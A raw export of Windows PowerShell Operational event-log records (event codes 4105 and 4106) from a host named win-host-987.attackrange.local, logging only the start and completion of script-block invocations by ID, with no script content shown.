09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030113
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030107
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030085
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030083
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030082
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
